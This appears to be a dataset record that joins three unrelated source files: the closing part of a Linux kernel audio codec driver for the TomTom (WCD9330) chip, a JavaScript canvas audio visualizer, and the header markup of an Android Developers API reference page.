wcd_cpe_ssr_event(tomtom->cpe_core, WCD_CPE_BUS_UP_EVENT);
wcd9xxx_resmgr_post_ssr(&tomtom->resmgr);
if (tomtom->mbhc_started) {
wcd9xxx_mbhc_deinit(&tomtom->mbhc);
tomtom->mbhc_started = false;
rco_clk_rate = TOMTOM_MCLK_CLK_9P6MHZ;
ret = wcd9xxx_mbhc_init(&tomtom->mbhc, &tomtom->resmgr, codec,
tomtom_enable_mbhc_micbias,
&mbhc_cb, &cdc_intr_ids,
rco_clk_rate, TOMTOM_ZDET_SUPPORTED);
if (ret)
pr_err("%s: mbhc init failed %d\n", __func__, ret);
else
tomtom_hs_detect(codec, tomtom->mbhc.mbhc_cfg);
}
if (tomtom->machine_codec_event_cb)
tomtom->machine_codec_event_cb(codec,
WCD9XXX_CODEC_EVENT_CODEC_UP);
tomtom_cleanup_irqs(tomtom);
ret = tomtom_setup_irqs(tomtom);
if (ret)
pr_err("%s: Failed to setup irq: %d\n", __func__, ret);
/*
* After SSR, the qfuse sensing is lost.
* Perform qfuse sensing again after SSR
* handling is finished.
*/
tomtom_enable_qfuse_sensing(codec);
mutex_unlock(&codec->mutex);
return ret;
}
void *tomtom_get_afe_config(struct snd_soc_codec *codec,
enum afe_config_type config_type)
{
struct tomtom_priv *priv = snd_soc_codec_get_drvdata(codec);
switch (config_type) {
case AFE_SLIMBUS_SLAVE_CONFIG:
return &priv->slimbus_slave_cfg;
case AFE_CDC_REGISTERS_CONFIG:
return &tomtom_audio_reg_cfg;
case AFE_SLIMBUS_SLAVE_PORT_CONFIG:
return &tomtom_slimbus_slave_port_cfg;
case AFE_AANC_VERSION:
return &tomtom_cdc_aanc_version;
case AFE_CLIP_BANK_SEL:
return &clip_bank_sel;
case AFE_CDC_CLIP_REGISTERS_CONFIG:
return &tomtom_clip_reg_cfg;
default:
pr_err("%s: Unknown config_type 0x%x\n", __func__, config_type);
return NULL;
}
}
static struct wcd9xxx_reg_address tomtom_reg_address = {
.micb_4_mbhc = TOMTOM_A_MICB_4_MBHC,
.micb_4_int_rbias = TOMTOM_A_MICB_4_INT_RBIAS,
.micb_4_ctl = TOMTOM_A_MICB_4_CTL,
};
static int wcd9xxx_ssr_register(struct wcd9xxx *control,
int (*device_down_cb)(struct wcd9xxx *wcd9xxx),
int (*device_up_cb)(struct wcd9xxx *wcd9xxx),
void *priv)
{
control->dev_down = device_down_cb;
control->post_reset = device_up_cb;
control->ssr_priv = priv;
return 0;
}
static const struct snd_soc_dapm_widget tomtom_1_dapm_widgets[] = {
SND_SOC_DAPM_ADC_E("ADC1", NULL, TOMTOM_A_TX_1_GAIN, 7, 0,
tomtom_codec_enable_adc,
SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("ADC2", NULL, TOMTOM_A_TX_2_GAIN, 7, 0,
tomtom_codec_enable_adc,
SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("ADC3", NULL, TOMTOM_A_TX_3_GAIN, 7, 0,
tomtom_codec_enable_adc,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("ADC4", NULL, TOMTOM_A_TX_4_GAIN, 7, 0,
tomtom_codec_enable_adc,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("ADC5", NULL, TOMTOM_A_TX_5_GAIN, 7, 0,
tomtom_codec_enable_adc,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("ADC6", NULL, TOMTOM_A_TX_6_GAIN, 7, 0,
tomtom_codec_enable_adc,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_POST_PMD),
};
static struct regulator *tomtom_codec_find_regulator(struct snd_soc_codec *cdc,
const char *name)
{
int i;
struct wcd9xxx *core = dev_get_drvdata(cdc->dev->parent);
for (i = 0; i < core->num_of_supplies; i++) {
if (core->supplies[i].supply &&
!strcmp(core->supplies[i].supply, name))
return core->supplies[i].consumer;
}
return NULL;
}
static struct wcd_cpe_core *tomtom_codec_get_cpe_core(
struct snd_soc_codec *codec)
{
struct tomtom_priv *priv = snd_soc_codec_get_drvdata(codec);
return priv->cpe_core;
}
static int tomtom_codec_fll_enable(struct snd_soc_codec *codec,
bool enable)
{
struct wcd9xxx *wcd9xxx;
if (!codec || !codec->control_data) {
pr_err("%s: Invalid codec handle, %pK\n",
__func__, codec);
return -EINVAL;
}
wcd9xxx = codec->control_data;
dev_dbg(codec->dev, "%s: %s, mclk_rate = %d\n",
__func__, (enable ? "enable" : "disable"),
wcd9xxx->mclk_rate);
switch (wcd9xxx->mclk_rate) {
case TOMTOM_MCLK_CLK_9P6MHZ:
snd_soc_update_bits(codec, TOMTOM_A_FLL_NREF,
0x1F, 0x15);
snd_soc_update_bits(codec, TOMTOM_A_FLL_KDCO_TUNE,
0x07, 0x06);
snd_soc_write(codec, TOMTOM_A_FLL_LOCK_THRESH, 0xD1);
snd_soc_write(codec, TOMTOM_A_FLL_LOCK_DET_COUNT,
0x40);
break;
case TOMTOM_MCLK_CLK_12P288MHZ:
snd_soc_update_bits(codec, TOMTOM_A_FLL_NREF,
0x1F, 0x11);
snd_soc_update_bits(codec, TOMTOM_A_FLL_KDCO_TUNE,
0x07, 0x05);
snd_soc_write(codec, TOMTOM_A_FLL_LOCK_THRESH, 0xB1);
snd_soc_write(codec, TOMTOM_A_FLL_LOCK_DET_COUNT,
0x40);
break;
}
return 0;
}
static int tomtom_codec_slim_reserve_bw(struct snd_soc_codec *codec,
u32 bw_ops, bool commit)
{
struct wcd9xxx *wcd9xxx;
if (!codec) {
pr_err("%s: Invalid handle to codec\n",
__func__);
return -EINVAL;
}
wcd9xxx = dev_get_drvdata(codec->dev->parent);
if (!wcd9xxx) {
dev_err(codec->dev, "%s: Invalid parent drv_data\n",
__func__);
return -EINVAL;
}
return wcd9xxx_slim_reserve_bw(wcd9xxx, bw_ops, commit);
}
static int tomtom_codec_vote_max_bw(struct snd_soc_codec *codec,
bool vote)
{
u32 bw_ops;
if (vote)
bw_ops = SLIM_BW_CLK_GEAR_9;
else
bw_ops = SLIM_BW_UNVOTE;
return tomtom_codec_slim_reserve_bw(codec,
bw_ops, true);
}
static const struct wcd9xxx_resmgr_cb resmgr_cb = {
.cdc_rco_ctrl = tomtom_codec_internal_rco_ctrl,
};
static int tomtom_cpe_err_irq_control(struct snd_soc_codec *codec,
enum cpe_err_irq_cntl_type cntl_type, u8 *status)
{
switch (cntl_type) {
case CPE_ERR_IRQ_MASK:
snd_soc_update_bits(codec,
TOMTOM_A_SVASS_INT_MASK,
0x3F, 0x3F);
break;
case CPE_ERR_IRQ_UNMASK:
snd_soc_update_bits(codec,
TOMTOM_A_SVASS_INT_MASK,
0x3F, 0x0C);
break;
case CPE_ERR_IRQ_CLEAR:
snd_soc_update_bits(codec,
TOMTOM_A_SVASS_INT_CLR,
0x3F, 0x3F);
break;
case CPE_ERR_IRQ_STATUS:
if (!status)
return -EINVAL;
*status = snd_soc_read(codec,
TOMTOM_A_SVASS_INT_STATUS);
break;
}
return 0;
}
static const struct wcd_cpe_cdc_cb cpe_cb = {
.cdc_clk_en = tomtom_codec_internal_rco_ctrl,
.cpe_clk_en = tomtom_codec_fll_enable,
.lab_cdc_ch_ctl = tomtom_codec_enable_slimtx_mad,
.cdc_ext_clk = tomtom_codec_mclk_enable,
.bus_vote_bw = tomtom_codec_vote_max_bw,
.cpe_err_irq_control = tomtom_cpe_err_irq_control,
};
static struct cpe_svc_init_param cpe_svc_params = {
.version = 0,
.query_freq_plans_cb = NULL,
.change_freq_plan_cb = NULL,
};
static int tomtom_cpe_initialize(struct snd_soc_codec *codec)
{
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
struct wcd_cpe_params cpe_params;
memset(&cpe_params, 0,
sizeof(struct wcd_cpe_params));
cpe_params.codec = codec;
cpe_params.get_cpe_core = tomtom_codec_get_cpe_core;
cpe_params.cdc_cb = &cpe_cb;
cpe_params.dbg_mode = cpe_debug_mode;
cpe_params.cdc_major_ver = CPE_SVC_CODEC_TOMTOM;
cpe_params.cdc_minor_ver = CPE_SVC_CODEC_V1P0;
cpe_params.cdc_id = CPE_SVC_CODEC_TOMTOM;
cpe_params.cdc_irq_info.cpe_engine_irq =
WCD9330_IRQ_SVASS_ENGINE;
cpe_params.cdc_irq_info.cpe_err_irq =
WCD9330_IRQ_SVASS_ERR_EXCEPTION;
cpe_params.cdc_irq_info.cpe_fatal_irqs =
TOMTOM_CPE_FATAL_IRQS;
cpe_svc_params.context = codec;
cpe_params.cpe_svc_params = &cpe_svc_params;
tomtom->cpe_core = wcd_cpe_init("cpe", codec,
&cpe_params);
if (IS_ERR_OR_NULL(tomtom->cpe_core)) {
dev_err(codec->dev,
"%s: Failed to enable CPE\n",
__func__);
return -EINVAL;
}
return 0;
}
static int tomtom_codec_probe(struct snd_soc_codec *codec)
{
struct wcd9xxx *control;
struct tomtom_priv *tomtom;
struct wcd9xxx_pdata *pdata;
struct wcd9xxx *wcd9xxx;
struct snd_soc_dapm_context *dapm = &codec->dapm;
int ret = 0;
int i, rco_clk_rate;
void *ptr = NULL;
struct wcd9xxx_core_resource *core_res;
struct clk *wcd_ext_clk = NULL;
codec->control_data = dev_get_drvdata(codec->dev->parent);
control = codec->control_data;
wcd9xxx_ssr_register(control, tomtom_device_down,
tomtom_post_reset_cb, (void *)codec);
dev_info(codec->dev, "%s()\n", __func__);
tomtom = devm_kzalloc(codec->dev, sizeof(struct tomtom_priv),
GFP_KERNEL);
if (!tomtom) {
dev_err(codec->dev, "Failed to allocate private data\n");
return -ENOMEM;
}
for (i = 0; i < NUM_DECIMATORS; i++) {
tx_hpf_work[i].tomtom = tomtom;
tx_hpf_work[i].decimator = i + 1;
tx_hpf_work[i].tx_hpf_bypass = false;
INIT_DELAYED_WORK(&tx_hpf_work[i].dwork,
tx_hpf_corner_freq_callback);
}
snd_soc_codec_set_drvdata(codec, tomtom);
/* codec resmgr module init */
wcd9xxx = codec->control_data;
if (!of_find_property(wcd9xxx->dev->of_node, "clock-names", NULL)) {
dev_dbg(wcd9xxx->dev, "%s: codec not using audio-ext-clk driver\n",
__func__);
} else {
wcd_ext_clk = clk_get(wcd9xxx->dev, "wcd_clk");
if (IS_ERR(wcd_ext_clk)) {
dev_err(codec->dev, "%s: clk get %s failed\n",
__func__, "wcd_ext_clk");
goto err_nomem_slimch;
}
}
tomtom->wcd_ext_clk = wcd_ext_clk;
core_res = &wcd9xxx->core_res;
pdata = dev_get_platdata(codec->dev->parent);
ret = wcd9xxx_resmgr_init(&tomtom->resmgr, codec, core_res, pdata,
&pdata->micbias, &tomtom_reg_address,
&resmgr_cb, WCD9XXX_CDC_TYPE_TOMTOM);
if (ret) {
pr_err("%s: wcd9xxx init failed %d\n", __func__, ret);
goto err_nomem_slimch;
}
tomtom->clsh_d.buck_mv = tomtom_codec_get_buck_mv(codec);
/* TomTom does not support dynamic switching of vdd_cp */
tomtom->clsh_d.is_dynamic_vdd_cp = false;
wcd9xxx_clsh_init(&tomtom->clsh_d, &tomtom->resmgr);
rco_clk_rate = TOMTOM_MCLK_CLK_9P6MHZ;
tomtom->fw_data = kzalloc(sizeof(*(tomtom->fw_data)), GFP_KERNEL);
if (!tomtom->fw_data) {
dev_err(codec->dev, "Failed to allocate fw_data\n");
goto err_nomem_slimch;
}
set_bit(WCD9XXX_ANC_CAL, tomtom->fw_data->cal_bit);
set_bit(WCD9XXX_MAD_CAL, tomtom->fw_data->cal_bit);
set_bit(WCD9XXX_MBHC_CAL, tomtom->fw_data->cal_bit);
ret = wcd_cal_create_hwdep(tomtom->fw_data,
WCD9XXX_CODEC_HWDEP_NODE, codec);
if (ret < 0) {
dev_err(codec->dev, "%s hwdep failed %d\n", __func__, ret);
goto err_hwdep;
}
/* init and start mbhc */
ret = wcd9xxx_mbhc_init(&tomtom->mbhc, &tomtom->resmgr, codec,
tomtom_enable_mbhc_micbias,
&mbhc_cb, &cdc_intr_ids,
rco_clk_rate, TOMTOM_ZDET_SUPPORTED);
if (ret) {
pr_err("%s: mbhc init failed %d\n", __func__, ret);
goto err_hwdep;
}
tomtom->codec = codec;
for (i = 0; i < COMPANDER_MAX; i++) {
tomtom->comp_enabled[i] = 0;
tomtom->comp_fs[i] = COMPANDER_FS_48KHZ;
}
tomtom->intf_type = wcd9xxx_get_intf_type();
tomtom->aux_pga_cnt = 0;
tomtom->aux_l_gain = 0x1F;
tomtom->aux_r_gain = 0x1F;
tomtom->ldo_h_users = 0;
tomtom->micb_2_users = 0;
tomtom->micb_3_users = 0;
tomtom_update_reg_defaults(codec);
pr_debug("%s: MCLK Rate = %x\n", __func__, wcd9xxx->mclk_rate);
if (wcd9xxx->mclk_rate == TOMTOM_MCLK_CLK_12P288MHZ) {
snd_soc_update_bits(codec, TOMTOM_A_CHIP_CTL, 0x06, 0x0);
snd_soc_update_bits(codec, TOMTOM_A_RX_COM_TIMER_DIV,
0x01, 0x01);
} else if (wcd9xxx->mclk_rate == TOMTOM_MCLK_CLK_9P6MHZ)
snd_soc_update_bits(codec, TOMTOM_A_CHIP_CTL, 0x06, 0x2);
tomtom_codec_init_reg(codec);
ret = tomtom_handle_pdata(tomtom);
if (IS_ERR_VALUE(ret)) {
pr_err("%s: bad pdata\n", __func__);
goto err_hwdep;
}
tomtom->spkdrv_reg = tomtom_codec_find_regulator(codec,
WCD9XXX_VDD_SPKDRV_NAME);
tomtom->spkdrv2_reg = tomtom_codec_find_regulator(codec,
WCD9XXX_VDD_SPKDRV2_NAME);
tomtom->micbias_reg = tomtom_codec_find_regulator(codec,
on_demand_supply_name[ON_DEMAND_MICBIAS]);
ptr = kmalloc((sizeof(tomtom_rx_chs) +
sizeof(tomtom_tx_chs)), GFP_KERNEL);
if (!ptr) {
pr_err("%s: no mem for slim chan ctl data\n", __func__);
ret = -ENOMEM;
goto err_hwdep;
}
if (tomtom->intf_type == WCD9XXX_INTERFACE_TYPE_I2C) {
snd_soc_dapm_new_controls(dapm, tomtom_dapm_i2s_widgets,
ARRAY_SIZE(tomtom_dapm_i2s_widgets));
snd_soc_dapm_add_routes(dapm, audio_i2s_map,
ARRAY_SIZE(audio_i2s_map));
for (i = 0; i < ARRAY_SIZE(tomtom_i2s_dai); i++)
INIT_LIST_HEAD(&tomtom->dai[i].wcd9xxx_ch_list);
} else if (tomtom->intf_type == WCD9XXX_INTERFACE_TYPE_SLIMBUS) {
for (i = 0; i < NUM_CODEC_DAIS; i++) {
INIT_LIST_HEAD(&tomtom->dai[i].wcd9xxx_ch_list);
init_waitqueue_head(&tomtom->dai[i].dai_wait);
}
tomtom_slimbus_slave_port_cfg.slave_dev_intfdev_la =
control->slim_slave->laddr;
tomtom_slimbus_slave_port_cfg.slave_dev_pgd_la =
control->slim->laddr;
tomtom_slimbus_slave_port_cfg.slave_port_mapping[0] =
TOMTOM_MAD_SLIMBUS_TX_PORT;
tomtom_init_slim_slave_cfg(codec);
}
snd_soc_dapm_new_controls(dapm, tomtom_1_dapm_widgets,
ARRAY_SIZE(tomtom_1_dapm_widgets));
snd_soc_add_codec_controls(codec,
tomtom_1_x_analog_gain_controls,
ARRAY_SIZE(tomtom_1_x_analog_gain_controls));
snd_soc_add_codec_controls(codec, impedance_detect_controls,
ARRAY_SIZE(impedance_detect_controls));
snd_soc_add_codec_controls(codec, hph_type_detect_controls,
ARRAY_SIZE(hph_type_detect_controls));
control->num_rx_port = TOMTOM_RX_MAX;
control->rx_chs = ptr;
memcpy(control->rx_chs, tomtom_rx_chs, sizeof(tomtom_rx_chs));
control->num_tx_port = TOMTOM_TX_MAX;
control->tx_chs = ptr + sizeof(tomtom_rx_chs);
memcpy(control->tx_chs, tomtom_tx_chs, sizeof(tomtom_tx_chs));
snd_soc_dapm_sync(dapm);
ret = tomtom_setup_irqs(tomtom);
if (ret) {
pr_err("%s: tomtom irq setup failed %d\n", __func__, ret);
goto err_pdata;
}
atomic_set(&kp_tomtom_priv, (unsigned long)tomtom);
mutex_lock(&dapm->codec->mutex);
snd_soc_dapm_disable_pin(dapm, "ANC HPHL");
snd_soc_dapm_disable_pin(dapm, "ANC HPHR");
snd_soc_dapm_disable_pin(dapm, "ANC HEADPHONE");
snd_soc_dapm_disable_pin(dapm, "ANC EAR PA");
snd_soc_dapm_disable_pin(dapm, "ANC EAR");
mutex_unlock(&dapm->codec->mutex);
snd_soc_dapm_sync(dapm);
codec->ignore_pmdown_time = 1;
ret = tomtom_cpe_initialize(codec);
if (ret) {
dev_info(codec->dev,
"%s: cpe initialization failed, ret = %d\n",
__func__, ret);
/* Do not fail probe if CPE failed */
ret = 0;
}
return ret;
err_pdata:
kfree(ptr);
err_hwdep:
kfree(tomtom->fw_data);
err_nomem_slimch:
devm_kfree(codec->dev, tomtom);
return ret;
}
static int tomtom_codec_remove(struct snd_soc_codec *codec)
{
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
WCD9XXX_BG_CLK_LOCK(&tomtom->resmgr);
atomic_set(&kp_tomtom_priv, 0);
WCD9XXX_BG_CLK_UNLOCK(&tomtom->resmgr);
if (tomtom->wcd_ext_clk)
clk_put(tomtom->wcd_ext_clk);
tomtom_cleanup_irqs(tomtom);
/* cleanup MBHC */
wcd9xxx_mbhc_deinit(&tomtom->mbhc);
/* cleanup resmgr */
wcd9xxx_resmgr_deinit(&tomtom->resmgr);
tomtom->spkdrv_reg = NULL;
tomtom->spkdrv2_reg = NULL;
devm_kfree(codec->dev, tomtom);
return 0;
}
static struct snd_soc_codec_driver soc_codec_dev_tomtom = {
.probe = tomtom_codec_probe,
.remove = tomtom_codec_remove,
.read = tomtom_read,
.write = tomtom_write,
.readable_register = tomtom_readable,
.volatile_register = tomtom_volatile,
.reg_cache_size = TOMTOM_CACHE_SIZE,
.reg_cache_default = tomtom_reset_reg_defaults,
.reg_word_size = 1,
.controls = tomtom_snd_controls,
.num_controls = ARRAY_SIZE(tomtom_snd_controls),
.dapm_widgets = tomtom_dapm_widgets,
.num_dapm_widgets = ARRAY_SIZE(tomtom_dapm_widgets),
.dapm_routes = audio_map,
.num_dapm_routes = ARRAY_SIZE(audio_map),
};
#ifdef CONFIG_PM
static int tomtom_suspend(struct device *dev)
{
dev_dbg(dev, "%s: system suspend\n", __func__);
return 0;
}
static int tomtom_resume(struct device *dev)
{
struct platform_device *pdev = to_platform_device(dev);
struct tomtom_priv *tomtom = platform_get_drvdata(pdev);
if (!tomtom) {
dev_err(dev, "%s: tomtom private data is NULL\n", __func__);
return -EINVAL;
}
dev_dbg(dev, "%s: system resume\n", __func__);
/* Notify */
wcd9xxx_resmgr_notifier_call(&tomtom->resmgr,
WCD9XXX_EVENT_POST_RESUME);
return 0;
}
static const struct dev_pm_ops tomtom_pm_ops = {
.suspend = tomtom_suspend,
.resume = tomtom_resume,
};
#endif
static int tomtom_probe(struct platform_device *pdev)
{
int ret = 0;
if (wcd9xxx_get_intf_type() == WCD9XXX_INTERFACE_TYPE_SLIMBUS)
ret = snd_soc_register_codec(&pdev->dev, &soc_codec_dev_tomtom,
tomtom_dai, ARRAY_SIZE(tomtom_dai));
else if (wcd9xxx_get_intf_type() == WCD9XXX_INTERFACE_TYPE_I2C)
ret = snd_soc_register_codec(&pdev->dev, &soc_codec_dev_tomtom,
tomtom_i2s_dai, ARRAY_SIZE(tomtom_i2s_dai));
return ret;
}
static int tomtom_remove(struct platform_device *pdev)
{
snd_soc_unregister_codec(&pdev->dev);
return 0;
}
static struct platform_driver tomtom_codec_driver = {
.probe = tomtom_probe,
.remove = tomtom_remove,
.driver = {
.name = "tomtom_codec",
.owner = THIS_MODULE,
#ifdef CONFIG_PM
.pm = &tomtom_pm_ops,
#endif
},
};
static int __init tomtom_codec_init(void)
{
return platform_driver_register(&tomtom_codec_driver);
}
static void __exit tomtom_codec_exit(void)
{
platform_driver_unregister(&tomtom_codec_driver);
}
module_init(tomtom_codec_init);
module_exit(tomtom_codec_exit);
MODULE_DESCRIPTION("TomTom codec driver");
MODULE_LICENSE("GPL v2");
| HaoZeke/kernel | sound/soc/codecs/wcd9330.c | C | gpl-2.0 | 284,935 |
function playAudioVisualize(track) {
var bars = 50;
var waveResolution = 128;
var style = "bars"; //set default style upon loading here
var audio = new Audio();
var canvas, source, context, analyser, fFrequencyData, barX, barWidth, barHeight, red, green, blue, ctx;
audio.controls = true;
audio.src = track;
audio.loop = false;
audio.autoplay = false;
window.addEventListener("load", initPlayer, false);
function initPlayer() {
document.getElementById('audio-container').appendChild(audio);
context = new AudioContext();
analyser = context.createAnalyser();
canvas = document.getElementById('audio-display');
canvas.addEventListener("click", toggleStyle);
ctx = canvas.getContext('2d');
source = context.createMediaElementSource(audio);
source.connect(analyser);
analyser.connect(context.destination);
drawFrames();
function toggleStyle() {
style = (style === "wave" ? "bars" : "wave");
}
}
var k = 0; //keep track of total number of frames drawn
function drawFrames() {
window.requestAnimationFrame(drawFrames);
analyser.fftsize = 128;
fFrequencyData = new Uint8Array(analyser.frequencyBinCount);
analyser.getByteFrequencyData(fFrequencyData);
ctx.clearRect(0,0,canvas.width,canvas.height);
numBarsBars = 16;
//calculate average frequency for color
var total = 0;
for(var j = 0; j < fFrequencyData.length; j++) {
total += fFrequencyData[j];
}
var avg = total / fFrequencyData.length;
avg = avg / 1.2;
//bar style visual representation
function drawBars(numBars) {
for(var i = 0; i < numBars; i++) {
barX = i * (canvas.width / numBars);
barWidth = (canvas.width / numBars - 1);
barHeight = -(fFrequencyData[i] / 2);
//reduce frequency of color changing to avoid flickering
if(k % 15 === 0) {
getColors();
k = 0;
}
ctx.fillStyle = 'rgb('+red+','+green+','+blue+')';
ctx.fillRect(barX, canvas.height, barWidth, barHeight);
}
}
//waveform visualization
function drawWave(resolution, lineWidth) {
ctx.beginPath();
ctx.lineWidth = lineWidth;
var barX, barY;
for(var i = 0; i < resolution; i++) {
barX = i * (Math.ceil(canvas.width / resolution));
barY = -(fFrequencyData[i] / 2);
getColors();
k = 0;
ctx.strokeStyle = 'rgb('+red+','+green+','+blue+')';
ctx.lineTo(barX, barY + canvas.height );
ctx.stroke();
}
}
function getColors() {
//can edit these values to get overall different coloration!!
red = Math.round(Math.sin(avg/29.0 + 6.1) * 127 + 128);
green = Math.round(Math.sin(avg/42.0 - 7.4) * 127 + 128);
blue = Math.round(Math.sin(avg/34.0 - 3.8) * 127 + 128);
}
if(style === "wave") {
drawWave(waveResolution, 2);
}
if(style === "bars") {
drawBars(bars);
}
k++;
}
}
| cp2846/audio-visualizer | visualizer.js | JavaScript | gpl-2.0 | 3,591 |
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width" />
<link rel="shortcut icon" type="image/x-icon" href="../../../../../../../favicon.ico" />
<title>CircleOptions | Android Developers</title>
<!-- STYLESHEETS -->
<link rel="stylesheet"
href="http://fonts.googleapis.com/css?family=Roboto:regular,medium,thin,italic,mediumitalic,bold" title="roboto">
<link href="../../../../../../../assets/css/default.css" rel="stylesheet" type="text/css">
<!-- FULLSCREEN STYLESHEET -->
<link href="../../../../../../../assets/css/fullscreen.css" rel="stylesheet" class="fullscreen"
type="text/css">
<!-- JAVASCRIPT -->
<script src="http://www.google.com/jsapi" type="text/javascript"></script>
<script src="../../../../../../../assets/js/android_3p-bundle.js" type="text/javascript"></script>
<script type="text/javascript">
var toRoot = "../../../../../../../";
var metaTags = [];
var devsite = false;
</script>
<script src="../../../../../../../assets/js/docs.js" type="text/javascript"></script>
<!-- RESOURCES LIBRARY -->
<script src="http://androiddevdocs-staging.appspot.com/ytblogger_lists_unified.js" type="text/javascript"></script>
<script src="../../../../../../../jd_lists_unified.js" type="text/javascript"></script>
<script src="../../../../../../../assets/js/jd_tag_helpers.js" type="text/javascript"></script>
<link href="../../../../../../../assets/css/resourcecards.css" rel="stylesheet" type="text/css" />
<script src="../../../../../../../assets/js/resourcecards.js" type="text/javascript"></script>
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-5831155-1']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
</head>
<body class="gc-documentation
develop" itemscope itemtype="http://schema.org/Article">
<div id="doc-api-level" class="" style="display:none"></div>
<a name="top"></a>
<a name="top"></a>
<!-- Header -->
<div id="header">
<div class="wrap" id="header-wrap">
<div class="col-3 logo">
<a href="../../../../../../../index.html">
<img src="../../../../../../../assets/images/dac_logo.png" width="123" height="25" alt="Android Developers" />
</a>
<div class="btn-quicknav" id="btn-quicknav">
<a href="#" class="arrow-inactive">Quicknav</a>
<a href="#" class="arrow-active">Quicknav</a>
</div>
</div>
<ul class="nav-x col-9">
<li class="design">
<a href="../../../../../../../design/index.html"
zh-tw-lang="設計"
zh-cn-lang="设计"
ru-lang="Проектирование"
ko-lang="디자인"
ja-lang="設計"
es-lang="Diseñar"
>Design</a></li>
<li class="develop"><a href="../../../../../../../develop/index.html"
zh-tw-lang="開發"
zh-cn-lang="开发"
ru-lang="Разработка"
ko-lang="개발"
ja-lang="開発"
es-lang="Desarrollar"
>Develop</a></li>
<li class="distribute last"><a href="../../../../../../../distribute/index.html"
zh-tw-lang="發佈"
zh-cn-lang="分发"
ru-lang="Распространение"
ko-lang="배포"
ja-lang="配布"
es-lang="Distribuir"
>Distribute</a></li>
</ul>
<!-- New Search -->
<div class="menu-container">
<div class="moremenu">
<div id="more-btn"></div>
</div>
<div class="morehover" id="moremenu">
<div class="top"></div>
<div class="mid">
<div class="header">Links</div>
<ul>
<li><a href="https://play.google.com/apps/publish/">Google Play Developer Console</a></li>
<li><a href="http://android-developers.blogspot.com/">Android Developers Blog</a></li>
<li><a href="../../../../../../../about/index.html">About Android</a></li>
</ul>
<div class="header">Android Sites</div>
<ul>
<li><a href="http://www.android.com">Android.com</a></li>
<li class="active"><a>Android Developers</a></li>
<li><a href="http://source.android.com">Android Open Source Project</a></li>
</ul>
<br class="clearfix" />
</div>
<div class="bottom"></div>
</div>
<div class="search" id="search-container">
<div class="search-inner">
<div id="search-btn"></div>
<div class="left"></div>
<form onsubmit="return submit_search()">
<input id="search_autocomplete" type="text" value="" autocomplete="off" name="q"
onfocus="search_focus_changed(this, true)" onblur="search_focus_changed(this, false)"
onkeydown="return search_changed(event, true, '../../../../../../../')"
onkeyup="return search_changed(event, false, '../../../../../../../')" />
</form>
<div class="right"></div>
<a class="close hide">close</a>
<div class="left"></div>
<div class="right"></div>
</div>
</div>
<div class="search_filtered_wrapper reference">
<div class="suggest-card reference no-display">
<ul class="search_filtered">
</ul>
</div>
</div>
<div class="search_filtered_wrapper docs">
<div class="suggest-card dummy no-display"> </div>
<div class="suggest-card develop no-display">
<ul class="search_filtered">
</ul>
<div class="child-card guides no-display">
</div>
<div class="child-card training no-display">
</div>
<div class="child-card samples no-display">
</div>
</div>
<div class="suggest-card design no-display">
<ul class="search_filtered">
</ul>
</div>
<div class="suggest-card distribute no-display">
<ul class="search_filtered">
</ul>
</div>
</div>
</div>
<!-- /New Search>
<!-- Expanded quicknav -->
<div id="quicknav" class="col-9">
<ul>
<li class="design">
<ul>
<li><a href="../../../../../../../design/index.html">Get Started</a></li>
<li><a href="../../../../../../../design/style/index.html">Style</a></li>
<li><a href="../../../../../../../design/patterns/index.html">Patterns</a></li>
<li><a href="../../../../../../../design/building-blocks/index.html">Building Blocks</a></li>
<li><a href="../../../../../../../design/downloads/index.html">Downloads</a></li>
<li><a href="../../../../../../../design/videos/index.html">Videos</a></li>
</ul>
</li>
<li class="develop">
<ul>
<li><a href="../../../../../../../training/index.html"
zh-tw-lang="訓練課程"
zh-cn-lang="培训"
ru-lang="Курсы"
ko-lang="교육"
ja-lang="トレーニング"
es-lang="Capacitación"
>Training</a></li>
<li><a href="../../../../../../../guide/index.html"
zh-tw-lang="API 指南"
zh-cn-lang="API 指南"
ru-lang="Руководства по API"
ko-lang="API 가이드"
ja-lang="API ガイド"
es-lang="Guías de la API"
>API Guides</a></li>
<li><a href="../../../../../../../reference/packages.html"
zh-tw-lang="參考資源"
zh-cn-lang="参考"
ru-lang="Справочник"
ko-lang="참조문서"
ja-lang="リファレンス"
es-lang="Referencia"
>Reference</a></li>
<li><a href="../../../../../../../tools/index.html"
zh-tw-lang="相關工具"
zh-cn-lang="工具"
ru-lang="Инструменты"
ko-lang="도구"
ja-lang="ツール"
es-lang="Herramientas"
>Tools</a>
<ul><li><a href="../../../../../../../sdk/index.html">Get the SDK</a></li></ul>
</li>
<li><a href="../../../../../../../google/index.html">Google Services</a>
</li>
</ul>
</li>
<li class="distribute last">
<ul>
<li><a href="../../../../../../../distribute/index.html">Google Play</a></li>
<li><a href="../../../../../../../distribute/googleplay/publish/index.html">Publishing</a></li>
<li><a href="../../../../../../../distribute/googleplay/promote/index.html">Promoting</a></li>
<li><a href="../../../../../../../distribute/googleplay/quality/index.html">App Quality</a></li>
<li><a href="../../../../../../../distribute/googleplay/spotlight/index.html">Spotlight</a></li>
<li><a href="../../../../../../../distribute/open.html">Open Distribution</a></li>
</ul>
</li>
</ul>
</div>
